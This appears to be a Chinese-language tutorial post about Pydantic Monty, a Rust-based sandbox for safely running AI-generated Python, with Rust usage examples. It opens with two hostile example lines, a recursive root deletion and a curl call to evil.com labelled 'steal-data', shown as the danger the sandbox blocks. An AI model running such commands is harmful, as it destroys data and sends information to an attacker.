Pydantic Monty：用 Rust 重写的 Python 安全沙箱，AI 的“专属保镖”🤖 🛡️

import os
os.system('rm -rf /')  # 哦豁！

import subprocess
subprocess.run(['curl', 'http://evil.com/steal-data'])

[dependencies]
monty = "0.1"

use monty::{Monty, Vm};

fn main() -> Result<(), Box> {
    // 1. 创建一个 Monty 实例
    let monty = Monty::new();

    // 2. 准备要执行的 Python 代码
    let code = r#"
def calculate_discount(price, discount_rate):
    return price * (1 - discount_rate)

original_price = 100
final_price = calculate_discount(original_price, 0.2)
result = f"The final price after 20% discount is: {final_price}"
result
"#;

    // 3. 在安全的虚拟机中执行代码
    let mut vm = Vm::new(&monty);
    let output = vm.run(code)?;

    // 4. 获取结果
    println!("Execution result: {}", output);
    // 输出: Execution result: The final price after 20% discount is: 80
    Ok(())
}

let malicious_code = r#"
import os
print("I'm about to do something bad!")
"#;

let output = vm.run(malicious_code);
// 这将返回一个错误，因为 import 语句在 Monty 的安全子集中不被支持。
// 错误信息会明确指出不支持的操作。

use monty::{Monty, Vm, PyResult, PyValue};
use std::collections::HashMap;

// 1. 定义我们的安全内置函数
fn safe_fetch_data(args: Vec) -> PyResult {
    // 这里，args 是来自 Python 代码的参数
    let query: String = args[0].try_into()?; // 假设第一个参数是查询字符串
    // 在实际应用中，这里会连接你的安全数据库，执行查询
    // 为了演示，我们返回模拟数据
    let mock_data = vec![
        ("Alice".to_string(), 85),
        ("Bob".to_string(), 92),
        ("Charlie".to_string(), 78),
    ];
    Ok(PyValue::from(mock_data))
}

fn safe_generate_chart(args: Vec) -> PyResult {
    // 假设这个函数接收数据并返回一个图表的唯一标识符或URL
    let chart_id = uuid::Uuid::new_v4().to_string();
    Ok(PyValue::from(format!("https://charts.example.com/{}", chart_id)))
}

fn main() -> Result<(), Box> {
    // 2. 创建 Monty 实例，并注册我们的安全函数
    let mut monty_builder = Monty::builder();
    monty_builder.add_fn("fetch_data", safe_fetch_data);
    monty_builder.add_fn("generate_chart", safe_generate_chart);

    let monty = monty_builder.finish();

    // 3. AI 生成的或用户提交的“安全”代码
    let ai_generated_code = r#"
# AI 认为应该分析数学成绩
data = fetch_data("SELECT name, math_score FROM students")
print(f"Fetched {len(data)} records.")

# 计算平均分
total = sum(score for _, score in data)
average = total / len(data) if data else 0
print(f"Average math score is: {average:.2f}")

# 为前3名生成一个图表
top3 = sorted(data, key=lambda x: x[1], reverse=True)[:3]
chart_url = generate_chart(top3)
print(f"Chart generated at: {chart_url}")

chart_url  # 返回最后的结果
"#;

    let mut vm = Vm::new(&monty);
    match vm.run(ai_generated_code) {
        Ok(output) => println!("AI analysis completed: {}", output),
        Err(e) => println!("Code execution failed (safe by design!): {}", e),
    }
    Ok(())
}